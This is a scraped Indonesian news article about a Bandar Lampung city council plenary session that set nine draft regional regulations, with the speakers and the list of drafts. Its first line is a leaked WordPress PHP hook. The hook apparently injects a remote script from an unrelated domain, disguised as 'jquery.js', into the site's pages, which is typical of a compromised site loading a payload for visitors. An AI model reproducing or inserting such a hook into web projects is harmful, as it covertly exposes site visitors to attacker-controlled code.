add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Sidang Paripurna DPRD Kota Bandar Lampung Tetapkan 9 Usulan Raperda - Atmosfirnews.id

Sidang Paripurna DPRD Kota Bandar Lampung Tetapkan 9 Usulan Raperda

- Jurnalis

Selasa, 24 Desember 2024 - 11:36 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung, Atmosfirnews.id

DRPD Kota Bandar Lampung kembali menyelenggarakan Rapat Paripurna, yang diselenggarakan dalam Ruang Rapat Paripurna DPRD Kota Bandar Lampung, pada Senin (23/12/2024).

Sidang dipimpin oleh Ketua DPRD Kota Bandar Lampung, Bernas Yuniarta, S.E. dan dihadiri oleh 37 anggota DPRD Kota Bandar Lampung.


Dari unsur Pemerintah Daerah Kota Bandar Lampung tampak hadir Wakil Walikota Bandar Lampung, Dedi Amarullah, Sekda Kota Bandar Lampung, para Asisten, Inspektur, para Kepala OPD, Kabag, Camat dan Pejabat Eselon 3 di Lingkungan Pemkot Bandar Lampung.

Dalam sambutannya, Bernas Yuniarta menyampaikan bahwa ada dua agenda Rapat Paripurna yang akan dilaksanakan, yaitu pertama, Rapat Sidang Paripurna Penetapan Raperda Kota Bandar Lampung.
Kedua, Rapat Paripurna Penutupan Masa Sidang ke 1 Tahun Sidang 2024-2025.

Juru bicara Badan Pembentukan Peraturan Daerah (Bapemperda) DRPD Kota Bandar Lampung, Sri Ningsih Jamsari menyampaikan bahwa terdapat 9 Raperda yang diusulkan, yang disusun untuk menjawab kebutuhan Pembangunan yang sejalan dengan visi dan misi Pemerintah Kota Bandar Lampung serta untuk memastikan terwujudnya kesejahteraan masyarakat Kota Bandar Lampung.

Baca Juga :  Sekretaris AMPG Lampung Reza Pahlepi Beri Ucapan Selamat dan Harapan di HUT AMPG ke-23

Adapun usulan 9 Raperda itu terdiri dari 7 Raperda usul inisiatif DPRD Kota Bandar Lampung dan 2 Raperda usul Pemkot Bandar Lampung dengan rincian sebagai berikut:
Raperda usul Inisiatif DPRD kota Bandar Lampung:
1. Pendirian Perusahaan Daerah Air Limbah Domestik Tapis Berseri.
2. Pendirian Bank Perekonomian Rakyat Waway Lampung.
3. Pendirian Bank Perekonomian Rakyat Syariah Bandar Lampung
4. Penyelenggaraan Toleransi Masyarakat
5. Perubahan Atas Perda Kota Bandar Lampung Tahun 2018 tentang Pengelolaan Barang Milik Daerah
6. Rencana Pembangunan Pemanfaatan Perumahan dan Kawasan Pemukiman Kota Bandar Lampung
7. Penyelenggaraan Gizi Masyarakat.

Raperda usul Pemerintah Kota Bandar Lampung:
1. Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Tahun 2025-2029
2. Pendirian Perusahaan Umum Daerah Aneka Usaha Tapis Kota Bandar Lampung.

Baca Juga :  Disiplin Aparat Rutan Diuji, Perintah Pimpinan Tak Boleh Sekadar Seremonial

Sementara itu, Wakil Walikota Bandar Lampung, Dedi Amarullah dalam sambutannya menekankan pentingnya pengkajian mendalam terhadap setiap Raperda yang diusulkan agar sesuai dengan peraturan perundang-undangan yang berlaku.


Menanggapi telah ditetapkannya 9 Raperda melalui sidang Paripurna yang telah dilakukan, Rahma Apriditya Ali, S.H., M.H. anggota DPRD Kota Bandar Lampung dari Fraksi Golkar berkomentar,
” Insya Allah Raperda yang dibuat untuk kepentingan rakyat dan kemaslahatan Kota Bandar Lampung yang kita cintai ini dapat dilalui prosesnya nanti dengan lancar, tanpa kendala yang berarti dengan komitmen kerjasama dan koordinasi yang baik antara DPRD Kota Bandar Lampung dan Pemerintah Kota Bandar Lampung.” kata Rama Ali.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 75 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru